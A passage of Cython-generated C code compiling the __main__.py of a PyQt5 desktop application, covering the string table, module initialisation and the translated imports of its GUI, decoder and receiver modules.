{&__pyx_n_s_PyQt5_QtWidgets, __pyx_k_PyQt5_QtWidgets, sizeof(__pyx_k_PyQt5_QtWidgets), 0, 0, 1, 1}, {&__pyx_n_s_QApplication, __pyx_k_QApplication, sizeof(__pyx_k_QApplication), 0, 0, 1, 1}, {&__pyx_n_s_QIcon, __pyx_k_QIcon, sizeof(__pyx_k_QIcon), 0, 0, 1, 1}, {&__pyx_n_s_QPixmap, __pyx_k_QPixmap, sizeof(__pyx_k_QPixmap), 0, 0, 1, 1}, {&__pyx_n_s_QRect, __pyx_k_QRect, sizeof(__pyx_k_QRect), 0, 0, 1, 1}, {&__pyx_n_s_QSize, __pyx_k_QSize, sizeof(__pyx_k_QSize), 0, 0, 1, 1}, {&__pyx_n_s_QStyleFactory, __pyx_k_QStyleFactory, sizeof(__pyx_k_QStyleFactory), 0, 0, 1, 1}, {&__pyx_kp_u_Ressources_icons_finish_flag_png, __pyx_k_Ressources_icons_finish_flag_png, sizeof(__pyx_k_Ressources_icons_finish_flag_png), 0, 1, 0, 0}, {&__pyx_n_s_Screen, __pyx_k_Screen, sizeof(__pyx_k_Screen), 0, 0, 1, 1}, {&__pyx_kp_s_Users_yveshuguenin_Devel___main, __pyx_k_Users_yveshuguenin_Devel___main, sizeof(__pyx_k_Users_yveshuguenin_Devel___main), 0, 0, 1, 0}, {&__pyx_n_u_active, __pyx_k_active, sizeof(__pyx_k_active), 0, 1, 0, 1}, {&__pyx_n_s_addPixmap, __pyx_k_addPixmap, sizeof(__pyx_k_addPixmap), 0, 0, 1, 1}, {&__pyx_n_s_app, __pyx_k_app, sizeof(__pyx_k_app), 0, 0, 1, 1}, {&__pyx_n_s_argv, __pyx_k_argv, sizeof(__pyx_k_argv), 0, 0, 1, 1}, {&__pyx_n_s_cline_in_traceback, __pyx_k_cline_in_traceback, sizeof(__pyx_k_cline_in_traceback), 0, 0, 1, 1}, {&__pyx_n_s_create, __pyx_k_create, sizeof(__pyx_k_create), 0, 0, 1, 1}, {&__pyx_n_s_dec, __pyx_k_dec, sizeof(__pyx_k_dec), 0, 0, 1, 1}, {&__pyx_n_s_decoder, __pyx_k_decoder, sizeof(__pyx_k_decoder), 0, 0, 1, 1}, {&__pyx_n_s_decoderList, __pyx_k_decoderList, sizeof(__pyx_k_decoderList), 0, 0, 1, 1}, {&__pyx_n_s_decoder_task, __pyx_k_decoder_task, sizeof(__pyx_k_decoder_task), 0, 0, 1, 1}, {&__pyx_n_s_exec, __pyx_k_exec, sizeof(__pyx_k_exec), 0, 0, 1, 1}, {&__pyx_kp_u_finish_flag, __pyx_k_finish_flag, sizeof(__pyx_k_finish_flag), 0, 1, 0, 0}, {&__pyx_n_s_gui_MainWindow, __pyx_k_gui_MainWindow, sizeof(__pyx_k_gui_MainWindow), 0, 0, 1, 1}, {&__pyx_n_s_height, __pyx_k_height, sizeof(__pyx_k_height), 0, 0, 1, 1}, {&__pyx_n_s_icons, __pyx_k_icons, sizeof(__pyx_k_icons), 0, 0, 1, 1}, {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1}, {&__pyx_n_s_keys, __pyx_k_keys, sizeof(__pyx_k_keys), 0, 0, 1, 1}, {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}, {&__pyx_n_s_main_2, __pyx_k_main_2, sizeof(__pyx_k_main_2), 0, 0, 1, 1}, {&__pyx_n_u_main_2, __pyx_k_main_2, sizeof(__pyx_k_main_2), 0, 1, 0, 1}, {&__pyx_n_s_name, __pyx_k_name, sizeof(__pyx_k_name), 0, 0, 1, 1}, {&__pyx_n_s_pref, __pyx_k_pref, sizeof(__pyx_k_pref), 0, 0, 1, 1}, {&__pyx_n_s_primaryScreen, __pyx_k_primaryScreen, sizeof(__pyx_k_primaryScreen), 0, 0, 1, 1}, {&__pyx_n_s_print, __pyx_k_print, sizeof(__pyx_k_print), 0, 0, 1, 1}, {&__pyx_n_s_receive, __pyx_k_receive, sizeof(__pyx_k_receive), 0, 0, 1, 1}, {&__pyx_n_s_setStyle, __pyx_k_setStyle, sizeof(__pyx_k_setStyle), 0, 0, 1, 1}, {&__pyx_n_s_size, __pyx_k_size, sizeof(__pyx_k_size), 0, 0, 1, 1}, {&__pyx_n_s_sys, __pyx_k_sys, sizeof(__pyx_k_sys), 0, 0, 1, 1}, {&__pyx_n_s_taille, __pyx_k_taille, sizeof(__pyx_k_taille), 0, 0, 1, 1}, {&__pyx_n_s_task, __pyx_k_task, sizeof(__pyx_k_task), 0, 0, 1, 1}, {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}, {&__pyx_n_s_to_compiled, __pyx_k_to_compiled, sizeof(__pyx_k_to_compiled), 0, 0, 1, 1}, {&__pyx_n_s_width, __pyx_k_width, sizeof(__pyx_k_width), 0, 0, 1, 1}, {0, 0, 0, 0, 0, 0, 0} }; static int __Pyx_InitCachedBuiltins(void) { __pyx_builtin_print = __Pyx_GetBuiltinName(__pyx_n_s_print); if (!__pyx_builtin_print) __PYX_ERR(0, 39, __pyx_L1_error) return 0; __pyx_L1_error:; return -1; } static int __Pyx_InitCachedConstants(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); /* "Devel/__main__.py":21 * app = QApplication(sys.argv) * if "Oxygen" in QStyleFactory.keys(): * app.setStyle( QStyleFactory.create("Oxygen") ) # try to set the Oxygen style # <<<<<<<<<<<<<< * elif "Fusion" in QStyleFactory.keys(): # if not the try Fusion * app.setStyle( QStyleFactory.create("Fusion") ) */ __pyx_tuple_ = PyTuple_Pack(1, __pyx_n_u_Oxygen); if (unlikely(!__pyx_tuple_)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple_); __Pyx_GIVEREF(__pyx_tuple_); /* "Devel/__main__.py":23 * app.setStyle( QStyleFactory.create("Oxygen") ) # try to set the Oxygen style * elif "Fusion" in QStyleFactory.keys(): # if not the try Fusion * app.setStyle( QStyleFactory.create("Fusion") ) # <<<<<<<<<<<<<< * * Globals.icons["finish flag"].addPixmap( QPixmap("Ressources/icons/finish_flag.png"), QIcon.Disabled, QIcon.On) */ __pyx_tuple__2 = PyTuple_Pack(1, __pyx_n_u_Fusion); if (unlikely(!__pyx_tuple__2)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__2); __Pyx_GIVEREF(__pyx_tuple__2); /* "Devel/__main__.py":25 * app.setStyle( QStyleFactory.create("Fusion") ) * * Globals.icons["finish flag"].addPixmap( QPixmap("Ressources/icons/finish_flag.png"), QIcon.Disabled, QIcon.On) # <<<<<<<<<<<<<< * Globals.MainWindow = MainWindow() * Globals.Screen = app.primaryScreen() */ __pyx_tuple__3 = PyTuple_Pack(1, __pyx_kp_u_Ressources_icons_finish_flag_png); if (unlikely(!__pyx_tuple__3)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__3); __Pyx_GIVEREF(__pyx_tuple__3); /* "Devel/__main__.py":18 * from Preferences import Preferences as pref * * def main(): # <<<<<<<<<<<<<< * app = QApplication(sys.argv) * if "Oxygen" in QStyleFactory.keys(): */ __pyx_tuple__4 = PyTuple_Pack(6, __pyx_n_s_app, __pyx_n_s_taille, __pyx_n_s_height, __pyx_n_s_width, __pyx_n_s_dec, __pyx_n_s_task); if (unlikely(!__pyx_tuple__4)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__4); __Pyx_GIVEREF(__pyx_tuple__4); __pyx_codeobj__5 = (PyObject*)__Pyx_PyCode_New(0, 0, 6, 0, CO_OPTIMIZED|CO_NEWLOCALS, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__4, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_Users_yveshuguenin_Devel___main, __pyx_n_s_main, 18, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__5)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_RefNannyFinishContext(); return 0; __pyx_L1_error:; __Pyx_RefNannyFinishContext(); return -1; } static int __Pyx_InitGlobals(void) { if (__Pyx_InitStrings(__pyx_string_tab) < 0) __PYX_ERR(0, 1, __pyx_L1_error); return 0; __pyx_L1_error:; return -1; } static int __Pyx_modinit_global_init_code(void); /*proto*/ static int __Pyx_modinit_variable_export_code(void); /*proto*/ static int __Pyx_modinit_function_export_code(void); /*proto*/ static int __Pyx_modinit_type_init_code(void); /*proto*/ static int __Pyx_modinit_type_import_code(void); /*proto*/ static int __Pyx_modinit_variable_import_code(void); /*proto*/ static int __Pyx_modinit_function_import_code(void); /*proto*/ static int __Pyx_modinit_global_init_code(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_modinit_global_init_code", 0); /*--- Global init code ---*/ __Pyx_RefNannyFinishContext(); return 0; } static int __Pyx_modinit_variable_export_code(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_modinit_variable_export_code", 0); /*--- Variable export code ---*/ __Pyx_RefNannyFinishContext(); return 0; } static int __Pyx_modinit_function_export_code(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_modinit_function_export_code", 0); /*--- Function export code ---*/ __Pyx_RefNannyFinishContext(); return 0; } static int __Pyx_modinit_type_init_code(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_modinit_type_init_code", 0); /*--- Type init code ---*/ __Pyx_RefNannyFinishContext(); return 0; } static int __Pyx_modinit_type_import_code(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_modinit_type_import_code", 0); /*--- Type import code ---*/ __Pyx_RefNannyFinishContext(); return 0; } static int __Pyx_modinit_variable_import_code(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_modinit_variable_import_code", 0); /*--- Variable import code ---*/ __Pyx_RefNannyFinishContext(); return 0; } static int __Pyx_modinit_function_import_code(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_modinit_function_import_code", 0); /*--- Function import code ---*/ __Pyx_RefNannyFinishContext(); return 0; } #if PY_MAJOR_VERSION < 3 #ifdef CYTHON_NO_PYINIT_EXPORT #define __Pyx_PyMODINIT_FUNC void #else #define __Pyx_PyMODINIT_FUNC PyMODINIT_FUNC #endif #else #ifdef CYTHON_NO_PYINIT_EXPORT #define __Pyx_PyMODINIT_FUNC PyObject * #else #define __Pyx_PyMODINIT_FUNC PyMODINIT_FUNC #endif #endif #ifndef CYTHON_SMALL_CODE #if defined(__clang__) #define CYTHON_SMALL_CODE #elif defined(__GNUC__) #define CYTHON_SMALL_CODE __attribute__((optimize("Os"))) #else #define CYTHON_SMALL_CODE #endif #endif #if PY_MAJOR_VERSION < 3 __Pyx_PyMODINIT_FUNC init__main__(void) CYTHON_SMALL_CODE; /*proto*/ __Pyx_PyMODINIT_FUNC init__main__(void) #else __Pyx_PyMODINIT_FUNC PyInit___main__(void) CYTHON_SMALL_CODE; /*proto*/ __Pyx_PyMODINIT_FUNC PyInit___main__(void) #if CYTHON_PEP489_MULTI_PHASE_INIT { return PyModuleDef_Init(&__pyx_moduledef); } static int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *moddict, const char* from_name, const char* to_name) { PyObject *value = PyObject_GetAttrString(spec, from_name); int result = 0; if (likely(value)) { result = PyDict_SetItemString(moddict, to_name, value); Py_DECREF(value); } else if (PyErr_ExceptionMatches(PyExc_AttributeError)) { PyErr_Clear(); } else { result = -1; } return result; } static PyObject* __pyx_pymod_create(PyObject *spec, CYTHON_UNUSED PyModuleDef *def) { PyObject *module = NULL, *moddict, *modname; if (__pyx_m) return __Pyx_NewRef(__pyx_m); modname = PyObject_GetAttrString(spec, "name"); if (unlikely(!modname)) goto bad; module = PyModule_NewObject(modname); Py_DECREF(modname); if (unlikely(!module)) goto bad; moddict = PyModule_GetDict(module); if (unlikely(!moddict)) goto bad; if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "loader", "__loader__") < 0)) goto bad; if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "origin", "__file__") < 0)) goto bad; if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "parent", "__package__") < 0)) goto bad; if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "submodule_search_locations", "__path__") < 0)) goto bad; return module; bad: Py_XDECREF(module); return NULL; } static int __pyx_pymod_exec___main__(PyObject *__pyx_pyinit_module) #endif #endif { PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; int __pyx_t_3; int __pyx_t_4; __Pyx_RefNannyDeclarations #if CYTHON_PEP489_MULTI_PHASE_INIT if (__pyx_m && __pyx_m == __pyx_pyinit_module) return 0; #elif PY_MAJOR_VERSION >= 3 if (__pyx_m) return __Pyx_NewRef(__pyx_m); #endif #if CYTHON_REFNANNY __Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); if (!__Pyx_RefNanny) { PyErr_Clear(); __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); if (!__Pyx_RefNanny) Py_FatalError("failed to import 'refnanny' module"); } #endif __Pyx_RefNannySetupContext("__Pyx_PyMODINIT_FUNC PyInit___main__(void)", 0); if (__Pyx_check_binary_version() < 0) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error) #ifdef __Pyx_CyFunction_USED if (__pyx_CyFunction_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_FusedFunction_USED if (__pyx_FusedFunction_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_Coroutine_USED if (__pyx_Coroutine_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_Generator_USED if (__pyx_Generator_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_AsyncGen_USED if (__pyx_AsyncGen_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif #ifdef __Pyx_StopAsyncIteration_USED if (__pyx_StopAsyncIteration_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif /*--- Library function declarations ---*/ /*--- Threads initialization code ---*/ #if defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS #ifdef WITH_THREAD /* Python build with threading support? */ PyEval_InitThreads(); #endif #endif /*--- Module creation code ---*/ #if CYTHON_PEP489_MULTI_PHASE_INIT __pyx_m = __pyx_pyinit_module; Py_INCREF(__pyx_m); #else #if PY_MAJOR_VERSION < 3 __pyx_m = Py_InitModule4("__main__", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m); #else __pyx_m = PyModule_Create(&__pyx_moduledef); #endif if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) #endif __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error) Py_INCREF(__pyx_d); __pyx_b = PyImport_AddModule(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error) __pyx_cython_runtime = PyImport_AddModule((char *) "cython_runtime"); if (unlikely(!__pyx_cython_runtime)) __PYX_ERR(0, 1, __pyx_L1_error) #if CYTHON_COMPILING_IN_PYPY Py_INCREF(__pyx_b); #endif if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error); /*--- Initialize various global constants etc. ---*/ if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif if (__pyx_module_is_main_Devel____main__) { if (PyObject_SetAttrString(__pyx_m, "__name__", __pyx_n_s_main_2) < 0) __PYX_ERR(0, 1, __pyx_L1_error) } #if PY_MAJOR_VERSION >= 3 { PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error) if (!PyDict_GetItemString(modules, "Devel.__main__")) { if (unlikely(PyDict_SetItemString(modules, "Devel.__main__", __pyx_m) < 0)) __PYX_ERR(0, 1, __pyx_L1_error) } } #endif /*--- Builtin init code ---*/ if (__Pyx_InitCachedBuiltins() < 0) __PYX_ERR(0, 1, __pyx_L1_error) /*--- Constants init code ---*/ if (__Pyx_InitCachedConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) /*--- Global type/function init code ---*/ (void)__Pyx_modinit_global_init_code(); (void)__Pyx_modinit_variable_export_code(); (void)__Pyx_modinit_function_export_code(); (void)__Pyx_modinit_type_init_code(); (void)__Pyx_modinit_type_import_code(); (void)__Pyx_modinit_variable_import_code(); (void)__Pyx_modinit_function_import_code(); /*--- Execution code ---*/ #if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) if (__Pyx_patch_abc() < 0) __PYX_ERR(0, 1, __pyx_L1_error) #endif /* "Devel/__main__.py":5 * # (c) <NAME>, <EMAIL>, mars 2018 # * ###################################################################################### * to_compiled = False # <<<<<<<<<<<<<< * * import sys */ if (PyDict_SetItem(__pyx_d, __pyx_n_s_to_compiled, Py_False) < 0) __PYX_ERR(0, 5, __pyx_L1_error) /* "Devel/__main__.py":7 * to_compiled = False * * import sys # <<<<<<<<<<<<<< * from PyQt5.QtGui import QIcon, QPixmap * from PyQt5.QtWidgets import QApplication, QStyleFactory */ __pyx_t_1 = __Pyx_Import(__pyx_n_s_sys, 0, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 7, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_sys, __pyx_t_1) < 0) __PYX_ERR(0, 7, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Devel/__main__.py":8 * * import sys * from PyQt5.QtGui import QIcon, QPixmap # <<<<<<<<<<<<<< * from PyQt5.QtWidgets import QApplication, QStyleFactory * from PyQt5.QtCore import QSize, QRect */ __pyx_t_1 = PyList_New(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 8, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_s_QIcon); __Pyx_GIVEREF(__pyx_n_s_QIcon); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s_QIcon); __Pyx_INCREF(__pyx_n_s_QPixmap); __Pyx_GIVEREF(__pyx_n_s_QPixmap); PyList_SET_ITEM(__pyx_t_1, 1, __pyx_n_s_QPixmap); __pyx_t_2 = __Pyx_Import(__pyx_n_s_PyQt5_QtGui, __pyx_t_1, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 8, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_QIcon); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 8, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QIcon, __pyx_t_1) < 0) __PYX_ERR(0, 8, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_QPixmap); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 8, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QPixmap, __pyx_t_1) < 0) __PYX_ERR(0, 8, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Devel/__main__.py":9 * import sys * from PyQt5.QtGui import QIcon, QPixmap * from PyQt5.QtWidgets import QApplication, QStyleFactory # <<<<<<<<<<<<<< * from PyQt5.QtCore import QSize, QRect * if not to_compiled: */ __pyx_t_2 = PyList_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_QApplication); __Pyx_GIVEREF(__pyx_n_s_QApplication); PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_QApplication); __Pyx_INCREF(__pyx_n_s_QStyleFactory); __Pyx_GIVEREF(__pyx_n_s_QStyleFactory); PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_QStyleFactory); __pyx_t_1 = __Pyx_Import(__pyx_n_s_PyQt5_QtWidgets, __pyx_t_2, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_QApplication); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QApplication, __pyx_t_2) < 0) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_QStyleFactory); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QStyleFactory, __pyx_t_2) < 0) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Devel/__main__.py":10 * from PyQt5.QtGui import QIcon, QPixmap * from PyQt5.QtWidgets import QApplication, QStyleFactory * from PyQt5.QtCore import QSize, QRect # <<<<<<<<<<<<<< * if not to_compiled: * import Globals */ __pyx_t_1 = PyList_New(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_s_QSize); __Pyx_GIVEREF(__pyx_n_s_QSize); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s_QSize); __Pyx_INCREF(__pyx_n_s_QRect); __Pyx_GIVEREF(__pyx_n_s_QRect); PyList_SET_ITEM(__pyx_t_1, 1, __pyx_n_s_QRect); __pyx_t_2 = __Pyx_Import(__pyx_n_s_PyQt5_QtCore, __pyx_t_1, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_QSize); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QSize, __pyx_t_1) < 0) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_QRect); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QRect, __pyx_t_1) < 0) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Devel/__main__.py":11 * from PyQt5.QtWidgets import QApplication, QStyleFactory * from PyQt5.QtCore import QSize, QRect * if not to_compiled: # <<<<<<<<<<<<<< * import Globals * from gui.MainWindow import MainWindow */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_to_compiled); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely(__pyx_t_3 < 0)) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_4 = ((!__pyx_t_3) != 0); if (__pyx_t_4) { /* "Devel/__main__.py":12 * from PyQt5.QtCore import QSize, QRect * if not to_compiled: * import Globals # <<<<<<<<<<<<<< * from gui.MainWindow import MainWindow * from decoder_task import decoder_task */ __pyx_t_2 = __Pyx_Import(__pyx_n_s_Globals, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_Globals, __pyx_t_2) < 0) __PYX_ERR(0, 12, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Devel/__main__.py":13 * if not to_compiled: * import Globals * from gui.MainWindow import MainWindow # <<<<<<<<<<<<<< * from decoder_task import decoder_task * from receive import receive */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_MainWindow); __Pyx_GIVEREF(__pyx_n_s_MainWindow); PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_MainWindow); __pyx_t_1 = __Pyx_Import(__pyx_n_s_gui_MainWindow, __pyx_t_2, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_MainWindow, __pyx_t_2) < 0) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Devel/__main__.py":14 * import Globals * from gui.MainWindow import MainWindow * from decoder_task import decoder_task # <<<<<<<<<<<<<< * from receive import receive * from Preferences import Preferences as pref */ __pyx_t_1 = PyList_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 14, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_s_decoder_task); __Pyx_GIVEREF(__pyx_n_s_decoder_task); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s_decoder_task); __pyx_t_2 = __Pyx_Import(__pyx_n_s_decoder_task, __pyx_t_1, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 14, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_decoder_task); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 14, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_decoder_task, __pyx_t_1) < 0) __PYX_ERR(0, 14, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Devel/__main__.py":15 * from gui.MainWindow import MainWindow * from decoder_task import decoder_task * from receive import receive # <<<<<<<<<<<<<< * from Preferences import Preferences as pref * */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_receive); __Pyx_GIVEREF(__pyx_n_s_receive); PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_receive); __pyx_t_1 = __Pyx_Import(__pyx_n_s_receive, __pyx_t_2, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_receive); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_receive, __pyx_t_2) < 0) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Devel/__main__.py":11 * from PyQt5.QtWidgets import QApplication, QStyleFactory * from PyQt5.QtCore import QSize, QRect * if not to_compiled: # 